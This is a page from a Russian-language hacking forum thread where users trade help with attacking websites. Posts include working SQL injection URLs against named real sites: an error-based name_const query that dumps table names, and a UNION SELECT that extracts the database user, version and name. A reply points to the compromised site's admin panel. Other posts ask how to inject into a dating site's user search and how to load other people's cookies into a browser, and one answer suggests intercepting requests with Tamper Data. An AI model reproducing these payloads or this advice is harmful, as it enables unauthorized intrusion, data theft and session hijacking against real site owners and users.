ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1044 из 1393 « Первая < 445449449941034 1040 1041 1042 1043 1044 1045 1046 1047 1048 105410941144 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #10431  
Старый 26.11.2009, 23:08
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541

Репутация: 214


По умолчанию
Цитата:
Сообщение от ElteRUS  
http://www.wearhouse.ru/?page=item&id=125/**/and/**/1=(select/**/*/**/from(select/**/*/**/from(select/**/name_const((select/**/table_name/**/
from/**/information_schema.tables/**/limit/**/0,1),14)d)/**/as/**/t/**/join/**/(select/**/name_const((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/0,1),14)e)b)a)--+

Вывод нужной инфы происходит в ошибку, смотри внимательно. Описание этого метода здесь https://forum.antichat.ru/threadnav119047-2-10.html

тут как я понял name_const

для этого дела заюзал
https://forum.antichat.ru/thread148915.html

помогло.результат был получен.
Спасибо Pashkela
 
Ответить с цитированием

  #10432  
Старый 27.11.2009, 00:05
erolom
Познающий
Регистрация: 14.03.2009
Сообщений: 38
Провел на форуме:
250929

Репутация: 2
Отправить сообщение для erolom с помощью ICQ
Question
вообщем нашёл скулю в одном сайте но вот до админки никак не добраться
собственно вопрос куда дальше идти?и как действовать,новичёк в этом деле
Код:
http://www.tltinfo.ru/index.php?id=3999+and+0+union+select+0,1,2,3,concat_ws(char(58),user(),version(),database()),5,6,7,8,9,10,11/*
 
Ответить с цитированием

  #10433  
Старый 27.11.2009, 11:28
Bramin
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
Провел на форуме:
1179199

Репутация: 127
Отправить сообщение для Bramin с помощью ICQ
По умолчанию
Админка тут: http://www.tltinfo.ru/admin.php
 
Ответить с цитированием

  #10434  
Старый 27.11.2009, 17:34
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию
http://sucuri.net/?page=docs&title=webapp-version-detection
 
Ответить с цитированием

  #10435  
Старый 27.11.2009, 23:13
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию
Есть поиск юзеров на сайте знакомств, поиск по нику, если задать, допустим "Ната", то выведет всех юзеров, чьи имена начинаются на "Ната", а если задать пустое значение, то не чего не выводит скрипт, а если поставить символ "%", то выводит обсалютно всех озеров, т.е. там вродебы идёт сравнивание оператором LIKE.
Возможно ли как нибуть провести SQL-inj?
 
Ответить с цитированием

  #10436  
Старый 27.11.2009, 23:17
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию
Цитата:
Сообщение от SeNaP  
Есть поиск юзеров на сайте знакомств, поиск по нику, если задать, допустим "Ната", то выведет всех юзеров, чьи имена начинаются на "Ната", а если задать пустое значение, то не чего не выводит скрипт, а если поставить символ "%", то выводит обсалютно всех озеров, т.е. там вродебы идёт сравнивание оператором LIKE.
Возможно ли как нибуть провести SQL-inj?
Это не форум телепатов, давайте ссылку если хотите что бы вас вопрос не игнорировали.
 
Ответить с цитированием

  #10437  
Старый 28.11.2009, 03:00
Totgeliebt
Познающий
Регистрация: 20.10.2009
Сообщений: 38
Провел на форуме:
125847

Репутация: 5
По умолчанию
Подскажите плз браузер в который легко подставлять куки
Последний раз редактировалось Totgeliebt; 28.11.2009 в 03:43..
 
Ответить с цитированием

  #10438  
Старый 28.11.2009, 03:47
GenTao
Участник форума
Регистрация: 10.10.2009
Сообщений: 133
Провел на форуме:
143706

Репутация: -1
По умолчанию
Цитата:
Сообщение от Totgeliebt  
Подскажите плз браузер в который легко подставлять куки

Firefox...тебе нужна сборка FireFox Portable Edition

Там есть такой,как Tamper Data.В нём нажимаешь Запустить перехват,то плагин сам не вырубаешь.Делаешь гет/пост/куки/иной неебический запрос,после чего управляешь процессом...(перехватываешь ,прерываешь запросы или не вмешиваешься в работу).
 
Ответить с цитированием

  #10439  
Старый 28.11.2009, 03:48
GenTao
Участник форума
Регистрация: 10.10.2009
Сообщений: 133
Провел на форуме:
143706

Репутация: -1
По умолчанию
Цитата:
Сообщение от SeNaP  
т.е. там вродебы идёт сравнивание оператором LIKE.
Возможно ли как нибуть провести SQL-inj?
Вроде бы ? Что-то не догнал такую схему...Или сплю уже.Другие символы не выдают того же ?
 
Ответить с цитированием

  #10440  
Старый 28.11.2009, 04:07
Totgeliebt
Познающий
Регистрация: 20.10.2009
Сообщений: 38
Провел на форуме:
125847

Репутация: 5
По умолчанию
а в оперу можно подсатвить как-нибудь чужие куки?
 
Ответить с цитированием
Ответ
Страница 1044 из 1393 « Первая < 445449449941034 1040 1041 1042 1043 1044 1045 1046 1047 1048 105410941144 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ